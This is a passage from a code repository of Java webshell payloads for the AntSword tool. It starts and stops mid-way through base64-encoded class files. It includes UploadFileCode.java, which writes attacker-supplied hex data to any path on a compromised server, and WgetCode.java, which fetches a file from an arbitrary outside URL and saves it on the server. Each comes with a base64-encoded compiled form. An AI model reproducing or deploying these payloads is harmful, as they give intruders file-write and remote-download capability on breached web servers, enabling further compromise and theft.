DnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBAAtnZXRSZWFsUGF0aAEAC2dldFJlc291cmNlAQAiKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvVVJMOwEADGphdmEvbmV0L1VSTAEAB2dldFBhdGgBAAlnZXRQYXJlbnQBAAZjaGFyQXQBAAQoSSlDAQAHdmFsdWVPZgEAFShDKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEACWxpc3RSb290cwEAESgpW0xqYXZhL2lvL0ZpbGU7ACEAPgA/AAAAAgABAEAAQQAAAAEAQgBDAAAABAABAEQARQABAEYAAAAvAAIAAQAAAA8qtwABKgG1AAIqAbUAA7EAAAABAEcAAAAOAAMAAAAIAAQACQAJAAoAAQBIAEkAAQBGAAACiQADAAYAAAF7K8EABJkAISvAAARNKiy2AAXAAAa1AAIqLLYAB8AACLUAA6cArCvBAAaZAFIqK8AABrUAAiq0AAK2AAkSCrYAC00sBLYADCwqtAACtgANwAAGTi22AAkSDrYACzoEGQQEtgAMKhkELbYADcAACLUAA6cAXk0stgAQpwBWK8EACJkATyorwAAItQADKrQAA7YACRIOtgALTSwEtgAMLCq0AAO2AA3AAAhOLbYACRIKtgALOgQZBAS2AAwqGQQttgANwAAGtQACpwAITSy2ABAqtAACEhG5ABICAMYAESq0AAISEbkAEgIApwAFEhNNuwAUWRIVtwAWTrsAFFkSFbcAFjoEKrQAAxIXuQAYAgAqtAACLLkAGQIAKrQAAyy5ABoCAC0SG7YAHFcZBCoqtAACtgAdtgAcVy0ZBLYAHrYAHFctEh+2ABxXKrQAA7kAIAEALbYAHrYAIacAIjoFGQS7ACJZtwAjEiS2ACUZBbYAJrYAJbYAJ7YAHFcErAADADQAcABzAA8AigDGAMkADwECAVcBWgAPAAIARwAAAK4AKwAAAA0ABwAOAAwADwAXABAAIgARACUAEgAsABMANAAVAEEAFgBGABcAUgAYAF0AGQBjABoAcAAdAHMAGwB0ABwAeAAdAHsAIACCACEAigAjAJcAJACcACUAqAAmALMAJwC5ACgAxgArAMkAKQDKACoAzgAuAO0ALwD3ADABAgAyAQ0AMwEXADQBIQA1ASgANgE2ADcBQAA4AUcAOQFXADwBWgA6AVwAOwF5AD0ASgAAADAACSX3AE0HAEsH9wBNBwBLBBtBBwBM/wBtAAUHAE0HAE4HAEwHAE8HAE8AAQcASx4AAABQAFEAAQBGAAABLwADAAYAAADHEhVNK7kAKAEAuQApAQASKrkAKwIAxgAZK7kAKAEAuQApAQASKrkAKwIATacAHCq2AAkSKrYALLYALU67AC5ZLbcAL7YAME2nAB9OKrYACRIqtgAstgAtOgS7AC5ZGQS3AC+2ADBNuwAiWbcAIywDtgAxuAAytgAztgAlLAS2ADS2ACW2ACdNEjW4ADZOEje4ADY6BCostgA4OgW7ACJZtwAjLLYAJRI5tgAlGQW2ACUSObYAJS22ACUSObYAJRkEtgAltgAnsAABAAMARwBKAA8AAgBHAAAAOgAOAAAAQQADAEMAGABEAC4ARgA7AEcARwBMAEoASQBLAEoAWQBLAGYATQCHAE4AjQBPAJQAUACbAFEASgAAAA4ABPwALgcATBhCBwBLGwAAAFIAUwABAEYAAACwAAQABQAAAGESFU0rAwS2ADoSKrYAO5oAPbgAPE4DNgQVBC2+ogAsuwAiWbcAIyy2ACUtFQQytgA9AwW2ADq2ACUSFbYAJbYAJ02EBAGn/9OnABe7ACJZtwAjLLYAJRIqtgAltgAnTSywAAAAAgBHAAAAJgAJAAAAVAADAFUAEQBWABUAVwAfAFgAQgBXAEgAWgBLAFsAXwBdAEoAAAARAAT+ABgHAEwHAFQB+QAvAhMAAQBVAAAAAgBW -------------------------------------------------------------------------------- /UploadFileCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/UploadFileCode.class -------------------------------------------------------------------------------- /UploadFileCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.io.FileOutputStream; 7 | import java.lang.reflect.Field; 8 | 9 | public class UploadFileCode { 10 | public HttpServletRequest request = null; 11 | public HttpServletResponse response = null; 12 | public String encoder; 13 | public String cs; 14 | 15 | @Override 16 | public boolean equals(Object obj) { 17 | if (obj instanceof PageContext) { 18 | PageContext page = (PageContext) obj; 19 | request = (HttpServletRequest) page.getRequest(); 20 | response = (HttpServletResponse) page.getResponse(); 21 | } else if (obj instanceof HttpServletRequest) { 22 | request = (HttpServletRequest) obj; 23 | try { 24 | Field req = request.getClass().getDeclaredField("request"); 25 | req.setAccessible(true); 26 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 27 | Field resp = request2.getClass().getDeclaredField("response"); 28 | resp.setAccessible(true); 29 | response = (HttpServletResponse) resp.get(request2); 30 | } catch (Exception e) { 31 | e.printStackTrace(); 32 | } 33 | 34 | } else if (obj instanceof HttpServletResponse) { 35 | response = (HttpServletResponse) obj; 36 | try { 37 | Field resp = response.getClass().getDeclaredField("response"); 38 | resp.setAccessible(true); 39 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 40 | Field req = response2.getClass().getDeclaredField("request"); 41 | req.setAccessible(true); 42 | request = (HttpServletRequest) req.get(response2); 43 | } catch (Exception e) { 44 | e.printStackTrace(); 45 | } 46 | } 47 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 48 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 49 | StringBuffer output = new StringBuffer(""); 50 | StringBuffer sb = new StringBuffer(""); 51 | try { 52 | response.setContentType("text/html"); 53 | request.setCharacterEncoding(cs); 54 | response.setCharacterEncoding(cs); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | String var2 = EC(decode(request.getParameter("var2") + "")); 57 | output.append("->" + "|"); 58 | sb.append(UploadFileCode(var1, var2)); 59 | output.append(sb.toString()); 60 | output.append("|" + "<-"); 61 | response.getWriter().print(output.toString()); 62 | } catch (Exception e) { 63 | sb.append("ERROR" + ":// " + e.toString()); 64 | } 65 | return true; 66 | } 67 | 68 | String EC(String s) throws Exception { 69 | if (encoder.equals("hex")) return s; 70 | return new String(s.getBytes(), cs); 71 | } 72 | 73 | String decode(String str) throws Exception { 74 | if (encoder.equals("hex")) { 75 | if (str == null || str.equals("")) { 76 | return ""; 77 | } 78 | String hexString = "0123456789ABCDEF"; 79 | str = str.toUpperCase(); 80 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 81 | String ss = ""; 82 | for (int i = 0; i < str.length(); i += 2) { 83 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 84 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 85 | } 86 | return baos.toString("UTF-8"); 87 | } else if (encoder.equals("base64")) { 88 | byte[] bt = null; 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 92 | } catch (ClassNotFoundException e) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 95 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 96 | } 97 | return new String(bt, "UTF-8"); 98 | } 99 | return str; 100 | } 101 | 102 | String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { 103 | String h = "0123456789ABCDEF"; 104 | File f = new File(savefilePath); 105 | f.createNewFile(); 106 | FileOutputStream os = new FileOutputStream(f, true); 107 | for (int i = 0; i < fileHexContext.length(); i += 2) { 108 | os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); 109 | } 110 | os.close(); 111 | return "1"; 112 | } 113 | 114 | } 115 | -------------------------------------------------------------------------------- /UploadFileCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIA+AoARgB2CQBVAHcJAFUAeAcAeQoABAB6BwB7CgAEAHwHAH0KAEYAfggAVgoAQwB/CgCAAIEKAIAAgggAWAcAgwoADwCECABaCwAGAIUIAIYJAFUAhwgAiAgAiQkAVQCKBwCLCgAYAIwIAI0LAAgAjgsABgCPCwAIAI8HAJAKAB4AdggAkQoAHgCSCgAeAJMKAFUAlAoAVQCVCACWCACXCgAYAJgKAFUAmQoAGACTCACaCwAIAJsKAJwAnQgAngoADwCTCACfCgAxAKAHAKEKADEAogoAMQCjCACkCgAxAKUHAKYKADEApwoANgCoCgAxAKkKADEAqgoAHgCrCACsCgA2AK0KADYArggArwgAsAoAQwCxCACyBwCzCgBDALQKAEMAtQcAtgoAtwC4BwC5BwC6CAC7CAC8CABtBwC9CgBNAIwKAE0AvgcAvwoAUADACgBQAK0KAFAAwQgAwgcAcAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAgwcAcAcAcAcAtgcAoQcAiwEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCmBwC6AQAOVXBsb2FkRmlsZUNvZGUBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAvQcAvwEAClNvdXJjZUZpbGUBABNVcGxvYWRGaWxlQ29kZS5qYXZhDABdAF4MAFYAVwwAWABZAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMMAxAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAMUAxgEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADHAMgMAMkAygcAywwAzADNDADOAM8BABNqYXZhL2xhbmcvRXhjZXB0aW9uDADQAF4MANEAawEAAAwAWgBbAQAHY2hhcnNldAEABVVURi04DABcAFsBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABdANIBAAl0ZXh0L2h0bWwMANMA0gwA1ADSAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAR2YXIxDADVANYMANcA2AwAbQBrDABqAGsBAAR2YXIyAQADLT58DADVANkMAHAAcQEAA3w8LQwA2gDbBwDcDADdANIBAAlFUlJPUjovLyABAANoZXgMAGEAYgEAEGphdmEvbGFuZy9TdHJpbmcMAN4A3wwAXQDgAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA4QDYAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAOIA4wwAXQDkDADlAOYMAOcA6AwA1QDpAQABLAwA6gDkDADXAGsBAAZiYXNlNjQBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDADrAOwBAAxkZWNvZGVCdWZmZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAO0A7gwA7wDwAQAQamF2YS9sYW5nL09iamVjdAcA8QwA8gDzAQACW0IBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXREZWNvZGVyAQAMamF2YS9pby9GaWxlDAD0APUBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0MAF0A9gwA9wBeAQABMQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEADWNyZWF0ZU5ld0ZpbGUBAAMoKVoBABIoTGphdmEvaW8vRmlsZTtaKVYBAAVjbG9zZQAhAFUARgAAAAQAAQBWAFcAAAABAFgAWQAAAAEAWgBbAAAAAQBcAFsAAAAFAAEAXQBeAAEAXwAAAC8AAgABAAAADyq3AAEqAbUAAioB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 -------------------------------------------------------------------------------- /WgetCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/WgetCode.class -------------------------------------------------------------------------------- /WgetCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.FileOutputStream; 6 | import java.io.InputStream; 7 | import java.lang.reflect.Field; 8 | import java.net.HttpURLConnection; 9 | import java.net.URL; 10 | 11 | public class WgetCode { 12 | public HttpServletRequest request = null; 13 | public HttpServletResponse response = null; 14 | public String encoder; 15 | public String cs; 16 | 17 | @Override 18 | public boolean equals(Object obj) { 19 | if (obj instanceof PageContext) { 20 | PageContext page = (PageContext) obj; 21 | request = (HttpServletRequest) page.getRequest(); 22 | response = (HttpServletResponse) page.getResponse(); 23 | } else if (obj instanceof HttpServletRequest) { 24 | request = (HttpServletRequest) obj; 25 | try { 26 | Field req = request.getClass().getDeclaredField("request"); 27 | req.setAccessible(true); 28 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 29 | Field resp = request2.getClass().getDeclaredField("response"); 30 | resp.setAccessible(true); 31 | response = (HttpServletResponse) resp.get(request2); 32 | } catch (Exception e) { 33 | e.printStackTrace(); 34 | } 35 | 36 | } else if (obj instanceof HttpServletResponse) { 37 | response = (HttpServletResponse) obj; 38 | try { 39 | Field resp = response.getClass().getDeclaredField("response"); 40 | resp.setAccessible(true); 41 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 42 | Field req = response2.getClass().getDeclaredField("request"); 43 | req.setAccessible(true); 44 | request = (HttpServletRequest) req.get(response2); 45 | } catch (Exception e) { 46 | e.printStackTrace(); 47 | } 48 | } 49 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 50 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 51 | StringBuffer output = new StringBuffer(""); 52 | StringBuffer sb = new StringBuffer(""); 53 | try { 54 | response.setContentType("text/html"); 55 | request.setCharacterEncoding(cs); 56 | response.setCharacterEncoding(cs); 57 | String var1 = EC(decode(request.getParameter("var1") + "")); 58 | String var2 = EC(decode(request.getParameter("var2") + "")); 59 | output.append("->" + "|"); 60 | sb.append(WgetCode(var1, var2)); 61 | output.append(sb.toString()); 62 | output.append("|" + "<-"); 63 | response.getWriter().print(output.toString()); 64 | } catch (Exception e) { 65 | sb.append("ERROR" + ":// " + e.toString()); 66 | } 67 | return true; 68 | } 69 | 70 | String EC(String s) throws Exception { 71 | if (encoder.equals("hex")) return s; 72 | return new String(s.getBytes(), cs); 73 | } 74 | 75 | String decode(String str) throws Exception { 76 | if (encoder.equals("hex")) { 77 | if (str == null || str.equals("")) { 78 | return ""; 79 | } 80 | String hexString = "0123456789ABCDEF"; 81 | str = str.toUpperCase(); 82 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 83 | String ss = ""; 84 | for (int i = 0; i < str.length(); i += 2) { 85 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 86 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 87 | } 88 | return baos.toString("UTF-8"); 89 | } else if (encoder.equals("base64")) { 90 | byte[] bt = null; 91 | try { 92 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 93 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 94 | } catch (ClassNotFoundException e) { 95 | Class clazz = Class.forName("java.util.Base64"); 96 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 97 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 98 | } 99 | return new String(bt, "UTF-8"); 100 | } 101 | return str; 102 | } 103 | 104 | String WgetCode(String urlPath, String saveFilePath) throws Exception { 105 | URL u = new URL(urlPath); 106 | int n = 0; 107 | FileOutputStream os = new FileOutputStream(saveFilePath); 108 | HttpURLConnection h = (HttpURLConnection) u.openConnection(); 109 | InputStream is = h.getInputStream(); 110 | byte[] b = new byte[512]; 111 | while ((n = is.read(b)) != -1) { 112 | os.write(b, 0, n); 113 | } 114 | os.close(); 115 | is.close(); 116 | h.disconnect(); 117 | return "1"; 118 | } 119 | 120 | } 121 | -------------------------------------------------------------------------------- /WgetCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIBCgoARgB9CQBaAH4JAFoAfwcAgAoABACBBwCCCgAEAIMHAIQKAEYAhQgAWwoAQwCGCgCHAIgKAIcAiQgAXQcAigoADwCLCABfCwAGAIwIAI0JAFoAjggAjwgAkAkAWgCRBwCSCgAYAJMIAJQLAAgAlQsABgCWCwAIAJYHAJcKAB4AfQgAmAoAHgCZCgAeAJoKAFoAmwoAWgCcCACdCACeCgAYAJ8KAFoAoAoAGACaCAChCwAIAKIKAKMApAgApQoADwCaCACmCgAxAKcHAKgKADEAqQoAMQCqCACrCgAxAKwHAK0KADEArgoANgCvCgAxALAKADEAsQoAHgCyCACzCgA2ALQKADYAtQgAtggAtwoAQwC4CAC5BwC6CgBDALsKAEMAvAcAvQoAvgC/BwDABwDBCADCCADDCAByBwDECgBNAJMHAMUKAE8AkwoATQDGBwDHCgBSAMgKAMkAygoATwDLCgBPAMwKAMkAzAoAUgDNCADOBwB1AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2VuY29kZXIBABJMamF2YS9sYW5nL1N0cmluZzsBAAJjcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwCKBwB1BwB1BwC9BwCoBwCSAQACRUMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHAK0HAMEBAAhXZ2V0Q29kZQEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwDEBwDFBwDHBwDPAQAKU291cmNlRmlsZQEADVdnZXRDb2RlLmphdmEMAGIAYwwAWwBcDABdAF4BAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA0ADRAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA0gDTAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMANQA1QwA1gDXBwDYDADZANoMANsA3AEAE2phdmEvbGFuZy9FeGNlcHRpb24MAN0AYwwA3gBwAQAADABfAGABAAdjaGFyc2V0AQAFVVRGLTgMAGEAYAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAGIA3wEACXRleHQvaHRtbAwA4ADfDADhAN8BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAOIA4wwA5ADlDAByAHAMAG8AcAEABHZhcjIBAAMtPnwMAOIA5gwAdQB2AQADfDwtDADnAOgHAOkMAOoA3wEACUVSUk9SOi8vIAEAA2hleAwAZgBnAQAQamF2YS9sYW5nL1N0cmluZwwA6wDsDABiAO0BABAwMTIzNDU2Nzg5QUJDREVGDADuAOUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA7wDwDABiAPEMAPIA8wwA9AD1DADiAPYBAAEsDAD3APEMAOQAcAEABmJhc2U2NAEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMAPgA+QEADGRlY29kZUJ1ZmZlcgEAD2phdmEvbGFuZy9DbGFzcwwA+gD7DAD8AP0BABBqYXZhL2xhbmcvT2JqZWN0BwD+DAD/AQABAAJbQgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIBAAxqYXZhL25ldC9VUkwBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0MAQEBAgEAGmphdmEvbmV0L0h0dHBVUkxDb25uZWN0aW9uDAEDAQQHAM8MAQUBBgwA9wEHDAEIAGMMAQkAYwEAATEBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V